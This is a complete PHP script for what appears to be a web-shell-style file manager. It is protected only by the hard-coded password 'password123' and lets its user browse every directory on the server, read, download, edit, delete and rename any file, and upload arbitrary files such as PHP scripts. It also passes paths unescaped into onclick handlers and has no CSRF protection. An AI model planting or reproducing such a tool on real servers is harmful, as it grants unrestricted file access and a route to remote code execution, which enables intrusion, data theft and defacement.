<?php
session_start();
$username = "admin"; // not used anymore
$password = "password123";
// ---- LOGIN CHECK (no headers sent yet) ----
if (!isset($_SESSION['authenticated'])) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['password'] === $password) {
session_regenerate_id(true);
$_SESSION['authenticated'] = true;
header("Location: " . $_SERVER['PHP_SELF']);
exit;
} else {
?>
<style>
body {
background-color: #0d0d0d;
color: #00ff88;
font-family: 'Courier New', monospace;
display: flex;
flex-direction: column;
align-items: center;
justify-content: start;
height: 100vh;
padding-top: 80px;
}
form {
background: #111;
border: 1px solid #00ff88;
padding: 30px;
border-radius: 8px;
text-align: center;
}
input[type="password"], button {
margin-top: 10px;
background-color: #000;
color: #00ff88;
border: 1px solid #00ff88;
border-radius: 4px;
padding: 10px;
font-family: monospace;
width: 200px;
}
h2 {
margin-bottom: 20px;
}
</style>
<form method="post">
<h2>Enter Password</h2>
<input type="password" name="password" placeholder="********"><br>
<button type="submit">Access</button>
</form>
<?php
exit;
}
}
?>
<!-- MAIN INTERFACE -->
<style>
body {
background-color: #0d0d0d;
color: #00ff88;
font-family: 'Courier New', monospace;
padding: 20px;
}
a {
color: #00ff88;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
ul {
list-style-type: none;
padding: 0;
}
li {
margin: 8px 0;
padding: 8px;
background-color: #111;
border-left: 4px solid #00ff88;
border-radius: 5px;
}
input[type="file"], textarea, button {
background-color: #000;
color: #00ff88;
border: 1px solid #00ff88;
border-radius: 4px;
padding: 8px;
}
button {
cursor: pointer;
}
.action-link {
margin-left: 10px;
font-weight: bold;
}
.edit-link { color: #00e676; }
.delete-link { color: #ff1744; }
</style>
<script>
function renameFile(filePath, currentName) {
const newName = prompt("Rename to:", currentName);
if (newName && newName !== currentName) {
window.location.href = "?action=rename&file=" + encodeURIComponent(filePath) + "&new_name=" + encodeURIComponent(newName);
}
}
</script>
<?php
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$currentDir = realpath($currentDir);
$action = $_GET['action'] ?? '';
$file = $_GET['file'] ?? '';
if ($file) $file = realpath($file);
if ($action === 'download' && $file && file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
if ($action === 'view' && $file && file_exists($file)) {
echo "<h3>Viewing: " . htmlspecialchars($file) . "</h3>";
echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
echo "<a href='?dir=" . urlencode(dirname($file)) . "'>Back</a>";
exit;
}
if ($action === 'edit' && $file && file_exists($file)) {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
file_put_contents($file, $_POST['content']);
echo "Saved successfully.<br>";
}
echo "<h3>Editing: " . htmlspecialchars($file) . "</h3>";
echo "<form method='post'>";
echo "<textarea name='content' rows='20' cols='100'>" . htmlspecialchars(file_get_contents($file)) . "</textarea><br>";
echo "<button type='submit'>Save</button>";
echo "</form>";
echo "<a href='?dir=" . urlencode(dirname($file)) . "'>Back</a>";
exit;
}
if ($action === 'delete' && $file && file_exists($file)) {
echo unlink($file) ? "Deleted." : "Failed.";
}
if ($action === 'rename' && $file && file_exists($file) && isset($_GET['new_name'])) {
$dir = dirname($file);
$newName = basename($_GET['new_name']);
$newPath = $dir . DIRECTORY_SEPARATOR . $newName;
if (!preg_match('/^[\w\-. ]+$/', $newName)) {
echo "Invalid filename.";
} elseif (file_exists($newPath)) {
echo "A file with that name already exists.";
} elseif (rename($file, $newPath)) {
echo "File renamed successfully.<br><a href='?dir=" . urlencode($dir) . "'>Back</a>";
exit;
} else {
echo "Rename failed.<br>";
}
}
if (!empty($_FILES['upload'])) {
$target = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
echo move_uploaded_file($_FILES['upload']['tmp_name'], $target)
? "Uploaded successfully."
: "Upload failed.";
}
echo "<h2>Index of " . htmlspecialchars($currentDir) . "</h2>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='upload'>
<button type='submit'>Upload</button>
</form><br>";
echo "<ul>";
$parent = dirname($currentDir);
if ($parent && $parent !== $currentDir) {
echo "<li><a href='?dir=" . urlencode($parent) . "'>[ Parent Directory ]</a></li>";
}
foreach (scandir($currentDir) as $item) {
if ($item === '.' || $item === '..') continue;
$fullPath = $currentDir . DIRECTORY_SEPARATOR . $item;
$encoded = urlencode($fullPath);
$basename = htmlspecialchars($item);
if (is_dir($fullPath)) {
echo "<li><a href='?dir=$encoded'>[DIR] $basename/</a></li>";
} else {
echo "<li><span onclick='renameFile(\"$fullPath\", \"$basename\")' style='cursor:pointer;' title='Click to rename'>$basename</span>";
echo " | <a class='action-link' href='?action=view&file=$encoded'>View</a>";
echo " | <a class='action-link edit-link' href='?action=edit&file=$encoded'>Edit</a>";
echo " | <a class='action-link' href='?action=download&file=$encoded'>Download</a>";
echo " | <a class='action-link delete-link' href='?action=delete&file=$encoded' onclick='return confirm(\"Delete this file?\");'>Delete</a>";
echo "</li>";
}
}
echo "</ul>";
echo "<br><a href='?logout=1'>Logout</a>";
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
}
?>
